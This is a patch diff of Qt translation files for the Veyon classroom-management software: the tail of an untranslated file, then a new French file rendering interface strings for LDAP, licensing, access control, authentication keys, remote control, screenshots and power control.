The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + + + + &File + + + + &Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + + + + Auto + + + + Computer rooms + + + + About + + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + + + + ... + + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + + + + Password + + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + + + + Click this button to reboot all computers. + + + + Power down + + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + + + + Remote control + + + + Send shortcut + + + + Fullscreen + + + + Window + + + + Quit + + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + + + + Connected. + + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + + + + Autostart + + + + Hide tray icon + + + + Start service + + + + Stopped + + + + Stop service + + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + + + + Demo server port + + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/fr.ts b/translations/fr.ts new file mode 100644 index 0000000..0a0540b --- /dev/null +++ b/translations/fr.ts @@ -0,0 +1,3930 @@ + + + AboutDialog + + About + À propos + + + Translation + Traduction + + + License + Licence + + + About Veyon + À propos de Veyon + + + Contributors + Contributeurs + + + Version: + Version: + + + Website: + Site Internet: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Veyon est actuellement traduit dans votre langue natale . + +Cependant, si vous êtes intéressé pour traduire Veyon dans une autre langue, ou si vous souhaitez améliorer la traduction existante, merci de contacter l'équipe des développeurs de Veyon ! + + + About %1 %2 + A propos %1 %2 + + + Support Veyon project with a donation + Soutenir le projet Veyon avec un don + + + + AccessControlPage + + Computer access control + Contrôle d'accès ordinateur + + + Grant access to every authenticated user (default) + Accorder l'accès à tous les utilisateurs authentifiés (par défaut) + + + Test + Test + + + Restrict access to members of certain user groups + Accès restreint aux membres de certains groupes d'utilisateurs + + + Process access control rules + Procéder avec des règles de contrôle d'accès + + + User groups authorized for computer access + Groupes des utilisateurs autorisés à se connecter aux ordinateurs + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Veuillez ajouter les groupes dont les membres sont autorisés à accéder aux ordinateurs du réseau Veyon. + + + Authorized user groups + Groupe d'utilisateurs autorisés + + + All groups + Tous les groupes + + + ... + ... + + + Access control rules + Règles du contrôle d'accès + + + Add access control rule + Ajouter une règle de contrôle d'accès + + + Remove access control rule + Retirer une règle de contrôle d'accès + + + Move selected rule down + Déplacer la règle sélectionnée vers le bas + + + Move selected rule up + Déplacer la règle sélectionnée vers le haut + + + Edit selected rule + Éditer la règle sélectionnée + + + Enter username + Entrer votre nom d'utilisateur + + + Please enter a user login name whose access permissions to test: + Pour tester, veuillez entrer un identifiant qui possède des droits d'accès: + + + Access allowed + Accès autorisé + + + The specified user is allowed to access computers with this configuration. + Avec cette configuration, l'utilisateur spécifié est autorisé à accéder aux ordinateurs. + + + Access denied + Accès refusé + + + The specified user is not allowed to access computers with this configuration. + Avec cette configuration, l'utilisateur spécifié n'est pas autorisé à accéder aux ordinateurs. + + + Enable usage of domain groups + Activer l'utilisation des groupes de domaine + + + User groups backend: + Groupes d'utilisateurs de processus d'arrière plan: + + + Missing user groups backend + Groupes d'utilisateurs de processus d'arrière plan manquants + + + No default user groups plugin was found. Please check your installation! + Aucun greffon par défaut pour les groupes d'utilisateurs n'a été trouvé. Veuillez vérifier votre installation! + + + + AccessControlRuleEditDialog + + Edit access control rule + Éditer une règle de contrôle d'accès + + + General + Général + + + enter a short name for the rule here + Entrer ici un titre ou un mot clé pour identifier la règle + + + Rule name: + Nom de la règle: + + + enter a description for the rule here + Entrer ici une description sommaire de l'action effectuée par la règle + + + Rule description: + Description de la règle: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Inverser toutes les conditions ("est" sera interprété par "n'est pas") + + + Conditions + Conditions + + + is member of group + est membre du groupe + + + is located in room + est dans la salle + + + Accessing computer is localhost + L'ordinateur accédant est l'hôte local + + + Accessing user is logged on user + L'utilisateur accédant est identifié en utilisateur + + + Accessing user is already connected + L'utilisateur accédant est déjà connecté + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Si plus d'une condition est validée, chaque condition doit être en adéquation avec les autres afin que la règle puisse s'appliquer (ET Logique). Si seulement une condition sur plusieurs est validée (OU Logique) optez plutôt pour la création de plusieurs règles de contrôle d'accès. + + + Action + Action + + + Allow access + Autoriser l'accès + + + Deny access + Refuser l'accès + + + Ask logged on user for permission + Demander la permission à l'utilisateur connecté + + + None (rule disabled) + Aucune (Règle désactivée) + + + Accessing user + L'utilisateur accédant + + + Accessing computer + L'ordinateur accédant + + + Local (logged on) user + L'utilisateur local (connecté) + + + Local computer + L'ordinateur local + + + Always process rule and ignore conditions + Toujours appliquer la règle et ignorer les conditions + + + No user logged on + Aucun utilisateur connecté + + + Accessing computer is located in the same room as local computer + L'ordinateur accédant est situé dans la même salle que l'ordinateur local + + + Accessing user has one or more groups in common with local (logged on) user + L'utilisateur accédant est membre d'un ou plusieurs groupes en commun avec l'utilisateur local (connecté) + + + + AccessControlRulesTestDialog + + Access control rules test + Test des règles de contrôle d'accès + + + Accessing user: + Utilisateur accédant: + + + Local computer: + Ordinateur local: + + + Accessing computer: + Ordinateur accédant: + + + Please enter the following user and computer information in order to test the configured ruleset. + Veuillez entrer l'utilisateur et l'ordinateur afin de tester le groupe de règles configurées + + + Local user: + Utilisateur local: + + + Connected users: + Utilisateurs connectés + + + The access in the given scenario is allowed. + L'accès est autorisée avec le scénario donné. + + + The access in the given scenario is denied. + L'accès est refusée avec le scénario donné. + + + The access in the given scenario needs permission of the logged on user. + L'accès dans le scénario donné demande la permission à l'utilisateur connecté. + + + ERROR: Unknown action + ERREUR: Action inconnue + + + Test result + Résultat du test + + + + AuthKeysConfigurationPage + + Authentication keys + Clés d'authentification + + + Introduction + Introduction + + + Key file directories + Répertoires de fichier clé + + + Public key file base directory + Répertoire de base des clés d'accès publiques + + + Private key file base directory + Répertoire de base des clés d'accès privées + + + ... + ... + + + Available authentication keys + Clés d'authentification disponibles + + + Create key pair + Créer paire de clé + + + Delete key + Supprimer clé + + + Import key + Importer clé + + + Export key + Exporter clé + + + Set access group + Établir groupe d'accès + + + Key files (*.pem) + Fichiers clé (*.pem) + + + Authentication key name + Nom de la clé d'authentification + + + Please enter the name of the user group or role for which to create an authentication key pair: + Entrer le nom du groupe d'utilisateurs ou du rôle pour lequel se fait la création de la paire de clé d'authentification: + + + Do you really want to delete authentication key "%1/%2"? + Souhaitez-vous réellement supprimer la clé d'authentification "%1%2" ? + + + Please select a key to delete! + Veuillez sélectionner une clé à supprimer ! + + + Please enter the name of the user group or role for which to import the authentication key: + Entrez le nom du groupe d'utilisateurs ou du rôle pour lequel se fait l'import de la clé d'authentification: + + + Please select a key to export! + Veuillez sélectionner une clé à exporter ! + + + Please select a user group which to grant access to key "%1": + Veuillez sélectionner un groupe d'utilisateur pour lequel vous accordez l'accès à la clé "%1": + + + Please select a key which to set the access group for! + Veuillez sélectionner une clé pour accorder l'accès groupe ! + + + Please perform the following steps to set up key file authentication: + Veuillez suivre les indications suivantes pour configurer la clé d'authentification: + + + 1) Create a key pair on the master computer. + 1) Créer une paire de clé sur l'ordinateur maître. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Définissez un groupe d'accès dont les membres sont autorisés pour accéder aux autres ordinateurs. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Exporter la clé publique et importer la avec le même nom sur tous les ordinateurs clients . + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Veuillez vous référer au <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Manuel Administrateur Veyon</a> pour plus d'informations. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Une paire de clé d'authentification, consiste en deux clés cryptographiques couplées, une clé privée et une autre publique. +La clé privée permet aux utilisateurs de l'ordinateur maitre d'accéder aux ordinateurs clients. +Il est important que seuls les utilisateurs autorisés aient l'accès en lecture sur la clé privée. +La clé publique est utilisée sur les ordinateurs clients pour l'authentification des demandes de connexions. + + + + AuthKeysManager + + Please check your permissions. + Veuillez vérifier vos permissions. + + + Key name contains invalid characters! + Le nom de la clé contient des caractères non valides ! + + + Invalid key type specified! Please specify "%1" or "%2". + Le type de clé spécifiée est non valide! Veuillez spécifier "%1" ou "%2". + + + Specified key does not exist! Please use the "list" command to list all installed keys. + La clé spécifiée n'existe pas! Veuillez utiliser la commande "liste" pour examiner l'ensemble des clés installées. + + + One or more key files already exist! Please delete them using the "delete" command. + Une ou plusieurs clés existent déjà! Veuillez les supprimer en utilisant la commande "supprimer". + + + Creating new key pair for "%1" + Création d'une nouvelle paire de clé pour "%1" + + + Failed to create public or private key! + Impossible de créer une clé publique ou privée ! + + + Newly created key pair has been saved to "%1" and "%2". + La paire de clé nouvellement créée a été sauvé en "%1" et "%2". + + + Could not remove key file "%1"! + Impossible de retirer le fichier clé "%1" ! + + + Could not remove key file directory "%1"! + Impossible de retirer le répertoire clé "%1" ! + + + Failed to create directory for output file. + Impossible de créer le répertoire pour le fichier de sortie. + + + File "%1" already exists. + Le fichier "%1" existe déjà. + + + Failed to write output file. + L'écriture du fichier de sortie à échoué. + + + Key "%1/%2" has been exported to "%3" successfully. + La clé "%1%2" a été exportée avec succès en "%3". + + + Failed read input file. + L'écriture du fichier d'entrée à échoué. + + + File "%1" does not contain a valid private key! + Le fichier "%1" ne contient pas de clé privée valide ! + + + File "%1" does not contain a valid public key! + Le fichier "%1" ne contient pas de clé publique valide ! + + + Failed to create directory for key file. + Impossible de créer le répertoire pour le fichier clé. + + + Failed to write key file "%1". + L'écriture du fichier clé "%1" à échoué. + + + Failed to set permissions for key file "%1"! + La mise en place des permissions du fichier clé "%1" a échoué ! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + La clé "%1%2" a été importée avec succès. Veuillez vérifier les permissions de "%3" afin de prévenir un accès non autorisé. + + + Failed to convert private key to public key + La conversion de la clé privée en clé publique a échoué + + + Failed to create directory for private key file "%1". + Impossible de créer le répertoire pour la clé privée "%1" ! + + + Failed to save private key in file "%1"! + Impossible de sauver la clé privée dans le fichier "%1" ! + + + Failed to set permissions for private key file "%1"! + La mise en place des permissions de la clé privée "%1" a échoué ! + + + Failed to create directory for public key file "%1". + Impossible de créer le répertoire pour la clé publique "%1" ! + + + Failed to save public key in file "%1"! + Impossible de sauver la clé publique dans le fichier "%1" ! + + + Failed to set permissions for public key file "%1"! + La mise en place des permissions de la clé publique "%1" a échoué ! + + + Failed to set owner of key file "%1" to "%2". + Impossible de définir le propriétaire de la clé "%1" vers "%2". + + + Failed to set permissions for key file "%1". + La mise en place des permissions de la clé "%1" a échoué ! + + + Key "%1" is now accessible by user group "%2". + La clé "%1" est maintenant accessible par le groupe utilisateur "%2". + + + <N/A> + < Sans Objet > + + + Failed to read key file. + La lecture du fichier clé à échoué. + + + + AuthKeysPlugin + + Create new authentication key pair + Créer une nouvelle paire de clé d'authentification + + + Delete authentication key + Supprimer clés d'authentification + + + List authentication keys + Lister les clés d'authentification + + + Import public or private key + Importer une clé publique ou privée + + + Export public or private key + Exporter une clé publique ou privée + + + Extract public key from existing private key + Extraire une clé publique à partir d'une clé privée existante + + + Set user group allowed to access a key + Configure l'autorisation d'un groupe utilisateur pour accéder à une clé. + + + KEY + CLÉ + + + ACCESS GROUP + GROUPE D'ACCÈS + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Cette commande ajuste les permissions du fichier d'accès vers <KEY> de sorte que seul le groupe d'utilisateurs <ACCESS GROUP> dispose d'un accès en lecture. + + + NAME + NOM + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Cette commande crée une nouvelle paire de clés d'authentification avec comme nom <NAME> et sauve les clés privée et publique dans le répertoire des clés configuré. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Cette commande supprime la clé d’authentification <KEY> depuis le répertoire de clé configuré. Veuillez noter qu'une clé ne peut pas être récupérée une fois supprimée. + + + FILE + FICHIER + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Cette commande exporte la clé d'authentification <KEY> vers <FILE>. Si <FILE> n'est pas spécifié un nom sera construit à partir du nom et du type de <KEY>. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Cette commande importe la clé d'authentification <KEY> à partir de <FILE>. Si <FILE> n'est pas spécifié un nom sera construit à partir du nom et du type de <KEY>. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Cette commande liste toutes les clés d'authentification disponibles dans le répertoire des clés configuré. Si l'option "%1" est spécifiée, un tableau avec les détails de la clé sera affiché à la place. Certaines informations peuvent être manquantes si une clé n'est pas accessible ex: en cas d'un manque de permission en lecture. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Cette commande extrait les données de clé publique à partir de la clé privée<KEY> et les sauve en une véritable clé publique correspondant. + + + Please specify the command to display help for! + Veuillez spécifier la commande pour afficher l'aide correspondante ! + + + TYPE + TYPE + + + PAIR ID + ID PAIRE + + + Command line support for managing authentication keys + Prise en charge de la ligne de commande pour la gestion des clés d'authentification + + + Commands for managing authentication keys + Commandes pour gérer les clés d'authentification + + + + AuthKeysTableModel + + Name + Nom + + + Type + Type + + + Access group + Groupe d'accès + + + Pair ID + Paire d'identification (ID) + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Salles et ordinateurs + + + Rooms + Salles + + + Computers + Ordinateurs + + + Name + Nom + + + Host address/IP + Adresse hôte / IP + + + MAC address + Adresse MAC + + + Add new room + Ajouter une nouvelle salle + + + Remove selected room + Retirer la salle sélectionnée + + + Add new computer + Ajouter un nouvel ordinateur + + + Remove selected computer + Retirer l'ordinateur selectionné + + + New room + Nouvelle salle + + + New computer + Nouvel ordinateur + + + Builtin directory + Répertoire intégré + + + + BuiltinDirectoryPlugin + + Show help for specific command + Affiche l'aide pour une commande spécifique + + + Add a room or computer + Ajouter une salle ou un ordinateur + + + Clear all rooms and computers + Vider toutes les salles et ordinateurs + + + Dump all or individual rooms and computers + Purger tout ou partie des salles ou des ordinateur + + + List all rooms and computers + Lister toutes les salles et ordinateurs + + + Remove a room or computer + Supprimer une salle ou un ordinateur + + + Import objects from given file + Importer des objets d'un fichier donné + + + Export objects to given file + Exporter des objets vers un fichier donné + + + Invalid type specified. Valid values are "%1" or "%2". + Le type spécifié est non valide! Les valeurs convenables sont "%1" ou "%2". + + + Type + Type + + + Name + Nom + + + Host address + Adresse hôte + + + MAC address + Adresse MAC + + + Specified object not found. + Objet spécifié n'a pas été trouvé. + + + File "%1" does not exist! + Le fichier "%1" n'existe pas. + + + Can't open file "%1" for reading! + Impossible d'ouvrir le fichier "%1" pour une lecture ! + + + Unknown argument "%1". + Argument inconnu "%1". + + + Room "%1" + Salle "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + Ordinateur "%1" (adresse hôte: "%2" adresse MAC: "%3") + + + Unclassified object "%1" with ID "%2" + Objet inclassable "%1" avec comme numéro d'identification "%2" + + + None + Aucun + + + Room + Salle + + + Computer + Ordinateur + + + Root + Racine + + + Invalid + Invalide + + + Error while parsing line %1. + Erreur pendant l'analyse de la ligne %1. + + + Network object directory which stores objects in local configuration + Répertoire d'objets réseau qui stocke des objets dans la configuration locale + + + Builtin (computers and rooms in local configuration) + intégré (ordinateurs et salles de la configuration locale) + + + Commands for managing the builtin network object directory + Commandes de gestion du répertoire d'objets réseau intégré + + + No format string or regular expression specified! + Aucune chaîne de format ou d'expression régulière spécifiée! + + + Can't open file "%1" for writing! + Impossible d'ouvrir le fichier "%1" pour l'écriture ! + + + No format string specified! + Aucune chaîne de format spécifiée! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +USAGE + +%1 export <FILE> [salle<ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Variables valides: %type% %name% %host% %mac% %room% + +Exemples: + +* Exporter tous les objets dans un fichier CSV: + + %1 export objets.csv format "%type%;%name%;%host%;%mac%" + +* Exporter tous les ordinateurs d'une salle dans un fichier CSV: + + %1 export ordinateurs.csv room "Salle 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Ajoute un objet pour lequel TYPE peut être "%2" ou "%3". PARENT peut être spécifié par le nom ou l' UUID. + +Exemples: + +* Ajouter une salle: + + %1 add room "Salle 01" + +* Ajouter un ordinateur à la salle "Salle 01": + + %1 add computer "Ordinateur 01" ordi01.exemple.com 11:22:33:44:55:66 "Salle 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +USAGE + +%1 remove <OBJECT> + +Retire l'objet spécifié du répertoire. L' OBJET peut être spécifié par son nom ou son UUID. Retirer une salle supprimera également tous les ordinateurs à l'intérieur. + +Exemples: + +* Retire un ordinateur par son nom: + + %1 remove "Ordinateur 01" + +* Retire un objet par son UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + UUID Objet + + + Parent UUID + UUID Parent + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +USAGE + +%1 import <FILE> [room<ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Variables valides: %type% %name% %host% %mac% %room% + +Exemples: + +* Importer un fichier CSV simple dans une salle: + + %1 import ordinateurs.csv room "Salle 01" format "%name%;%host%;%mac%" + +* Importer un fichier CSV avec le nom de la salle dans la première colonne: + + %1 import ordinateurs_avec_salles.csv format "%room%,%name%,%mac%" + +* Importer un fichier texte avec des paires clé/valeur en utilisant des expressions régulières: + + %1 import liste_hotes.txt room "Salle 01" regex "^NOM:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Importer des données formatées de manière arbitraire: + + %1 import données.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Serveur VNC intégré (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Serveur VNC intégré (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Salle: %1 + + + Host/IP address: %1 + Adresse de l'hôte / IP: %1 + + + Active features: %1 + 